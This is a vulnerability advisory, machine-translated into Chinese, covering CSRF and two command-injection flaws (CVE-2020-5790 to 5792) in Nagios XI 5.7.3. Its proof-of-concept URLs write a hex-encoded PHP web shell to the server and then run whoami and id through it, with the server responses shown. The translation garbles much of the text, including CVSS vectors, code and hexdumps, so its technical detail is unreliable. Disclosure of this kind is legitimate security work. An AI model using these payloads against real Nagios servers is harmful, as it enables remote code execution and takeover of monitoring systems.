我们已经发现了多个在Nagios XI 5.7.3漏洞。
cve - 2020 - 5790:跨站点请求伪造
CVSS v3基础分数:4.3
CVSS v3向量:AV: N /交流:L /公关:N / UI: R / S: U / C: N /我:L /答:N
跨站请求伪造(CSRF)漏洞存在于Nagiosξ为各种请求。虽然通过Nagios会话保护器保护实现在应用程序的其他部分,发现下面的保护是不完整的:- / nagiosxi / admin / mib。php - / nagiosxi包括/组件/ nxti / index . php
CRSF可以利用远程,未经身份验证的攻击者执行敏感的应用程序上下文中的行为经过身份验证的用户。这可能是通过利用网络钓鱼或其他手段诱骗一个合法的Nagios用户点击恶意链接。
例如,mib。php undo_process_single()函数不能调用check_nagios_session_protector ()。
CSRF可以链接与其他远程代码执行漏洞报告中获得。请参见PoC脆弱性2,因为它利用CSRF。
cve - 2020 - 5791:验证操作系统命令注入/ nagiosxi / admin / mibs.php远端控制设备
CVSS v3基础分数:4.7
CVSS v3向量:AV: N /交流:L /公关:H / UI: N / S: U / C: L /我:L / L
一个操作系统命令注入漏洞存在于管理/ mib。php文件。与管理员权限经过身份验证的远程攻击者可能会利用此漏洞执行任意操作系统命令“apache”特权的用户。具体地说,当“模式”的HTTP参数=“undo-processing”和“类型”参数= 1时,“文件”参数最终将被传递到PHP exec()函数没有卫生处理。
以下是代码片段展示:
函数route_request(){全球美元请求;$模式=”;如果收取($请求(“模式”))){模式=美元请求(“模式”);}开关(模式){…例“undo-processing”: undo_process_single ();/ / VULN打破;…}……}函数undo_process_single(){/ /模式需要根据处理MIB的类型,而不是在“当前”处理类型文件= grab_request_var(“文件”,“美元);$ name = grab_request_var(‘名’,”); $current_type = intval(grab_request_var('type', MIB_UPLOAD_DO_NOTHING)); if ($current_type !== MIB_UPLOAD_PROCESS_ONLY && $current_type !== MIB_UPLOAD_NXTI) { show_mibs(false, _("No processing to be undone")); } undo_processing($file, $name, $current_type); // VULN show_mibs(false, sprintf(_("Successfully reverted %s to 'uploaded' state"), $name)); } function undo_processing($file, $name, $current_type) { if ($current_type !== MIB_UPLOAD_PROCESS_ONLY && $current_type !== MIB_UPLOAD_NXTI) { return; } $current_conf_path = get_processing_destination($current_type) . '/' . $file; remove_snmpttconvertmib_files(array($file)); if ($current_type === MIB_UPLOAD_PROCESS_ONLY) { $get_event_names_cmd = get_root_dir() . "/scripts/nxti_import.php $current_conf_path --no-insert"; exec($get_event_names_cmd, $all_events, $rc); // VULN $all_events = array_unique($all_events); remove_from_snmptt_conf($all_events); } mibs_revert_db_entry($name); }
概念验证(PoC)
攻击者向Nagios XI管理员发送以下链接:
http://192.168.1.178/nagiosxi/admin/mibs.php?mode=undo-processing&type=1&file=%3becho + - ne +“\ x3c \ x3f \ x70 \ x68 \ x70 \ x20的\ x73 \ x79 \ x73 \ x74 \ x65 \ x6d \ x28 \ x24 \ x5f \开发\ x45 \ x54 \ x47 x5b \ x27 \ x63 \ x6d \ x64 \ x27 \ x5d \ x29 \ x3b \ x20的\ x3f \ x3e”> / usr /地方/ nagiosxi / html /包括/组件/自动/工作/ scooby.php
一旦点击链接的管理,史酷比。php将被创建,攻击者可以访问新创建的php脚本执行更多的命令。注意“apache”响应。
http://192.168.1.178/nagiosxi/includes/components/autodiscovery/jobs/scooby.php?cmd=whoami
回应:
HTTP / 1.1 200 OK日期:星期四,2020年9月24日格林尼治时间21:09:56服务器:Apache / 2.4.6 (CentOS) OpenSSL / 1.0.2k-fips PHP / 5.4.16 X-Powered-By: PHP / 5.4.16内容长度:19连接:紧密- type: text / html;charset = apache - no-insert utf - 8
cve - 2020 - 5792:验证操作系统命令参数注入漏洞导致任意文件编写/远端控制设备/ nagiosxi /包括/组件/ nxti / index . php
CVSS v3基础分数:4.7
CVSS v3向量:AV: N /交流:L /公关:H / UI: N / S: U / C: L /我:L / L
一个操作系统命令参数注入漏洞存在于send_custom_trap()函数/ nagiosxi / html /包括/组件/ nxti / index . php。具体来说,美元cmd变量是由从HTTP参数包含值。被传递给exec(),这个命令行中使用PHP escapeshellcmd逃脱()函数;然而,这是不够的,攻击者能够注入任意参数的命令。这个漏洞,为经过身份验证的攻击者可以利用管理的权利与特权执行任意代码apache用户。
在这种情况下,执行' snmptrap '命令,和参数都可以创建一个注入恶意PHP壳。例如,- d标志将显示捕获的SNMP请求,可以记录和输出到一个文件中使用- l标志。这导致hexdump的请求记录到一个任意的文件位置。另外,如果变量指定文件的内容可以制作这样一个有效的PHP创建shell。这个外壳可以使用后续调用web请求来执行任意操作系统命令。
请注意,这在结合CSRF漏洞可以利用。如果管理员点击链接,代码执行能获得由未经过身份验证的远程攻击者。
概念验证(PoC)
发送以下链接到一个经过验证的Nagios XI管理员。确保目标Nagios XI的IP匹配实例:
http://192.168.1.179/nagiosxi/includes/components/nxti/index.php?custom-version=2c&generic-trap-option=0&specific-trap-option=&custom-agent=&custom-community=a + f - d + - l + + / usr /地方/ nagiosxi / html /包括/组件/自动/工作/ snmplog.php&custom-oid 3 = NET-SNMP-EXAMPLES-MIB % % 3 anetsnmpexampleheartbeatnotification&variablebindings % 5 bname % d % 5 b % 5 d = x&variablebindings % 5 btype % d % 5 b % 5 d = x&variablebindings % 5 bvalue % d % 5 b % 5 d = 3 c3f706870202f2a2020202020202a2f73797374656d282f2a20202020202a2f245f4745545b2263225d292f2a202a2f3f3e&mode = customTrap
一个文件将被创建在/usr/local/nagiosxi/html/includes/components/autodiscovery /工作/ snmplog.php。它将包含以下内容。注意,PHP可以与多行注释精心制作,确保创建一个有效的PHP文件。此外,输入验证过滤器是用snmptrap绕过十六进制格式的变量。:
向UDP发送132字节(127.0.0.1)::162 - >[0.0.0.0]:0 0000:30 81 81 02 01 01年04 01 61 A7 79 02年04 39 06 96 0 ....... ? y . . 9 . .0016:E3 02年01 00 02年01 00 30 6 b 30 0 f 06年08年2 b 06 01 ?……0 k0…+ . .0032:02年01 01 03 00 43 03 01 DA C7 30 19日06 0 2 b 06 ..... C . . ? ? 0…+。0048:01 06年03 01 01 04 01 00 06 0 b 2 b 06年01 04 01 BF .......... + .... ?0064:08年02年03 00 01 30 3 d 06年08年2 b 06 01 04 01 65 f = . . + ..... ..... 00080年e: 08年04 31 3 c 3 70 68 70 20 2 f 2 20 20 20 20 20 . . 1 < ?php / * 0096: 20 2 2 f 73 79 73 74 65 6 d 28 f 2 20 20 20 * 20 /系统(/ * 0112:20 2 2 f 24 5 f 47 45 54 5 b 22 63 22 5 d 29 f 2 * / $ _GET [c]) / * 0128: 2 2 3 f 3 e * / ?/var/lib/net-snmp/snmpapp. >不能重命名相依,/var/lib/net-snmp/snmpapp.0.配置不能拆开/var/lib/net-snmp/snmpapp.conf
现在,PHP可以执行使用一个HTTP请求。注意“id”命令的输出。
要求:
http://192.168.1.179/nagiosxi/includes/components/autodiscovery/jobs/snmplog.php?c=id
回应:
HTTP / 1.1 200 OK日期:星期一,2020年9月28日格林尼治时间16:09:56服务器:Apache / 2.4.6 (CentOS) OpenSSL / 1.0.2k-fips PHP / 5.4.16 X-Powered-By: PHP / 5.4.16内容长度:706连接:紧密- type: text / html;utf - 8字符集= UDP发送132字节:(127.0.0.1):162 - > [0.0.0.0]:0 0000:30 81 81 02 01 01 04 01 61 A7 79 02年04 39 06 96 0 .......§y . . 9 . .0016:E3 02年01 00 02年01 00 30 6 b 30 0 f 06年08年2 b 06 01…0 k0…+ . .0032:02年01 01 03 00 43 03 01 DA C7 30 19日06 0 2 b 06 ..... C . . UC0…+。0048:01 06年03 01 01 04 01 00 06 0 b 2 b 06年01 04 01 BF .......... + ....害怕0064:08年02年03 00 01 30 3 d 06年08年2 b 06 01 04 01 8 f 65 ..... 0 = . . + .....0080年e: 08年04 31 3 c 3 70 68 70 20 2 f 2 20 20 20 20 20 . . 1 uid = 48 (apache) gid = 48 (apache)组= 48 (apache), 1000 (nagios)、1001 (nagcmd)不能重命名/var/lib/net-snmp/snmpapp.相依,/var/lib/net-snmp/snmpapp.0.配置不能拆开/var/lib/net-snmp/snmpapp.conf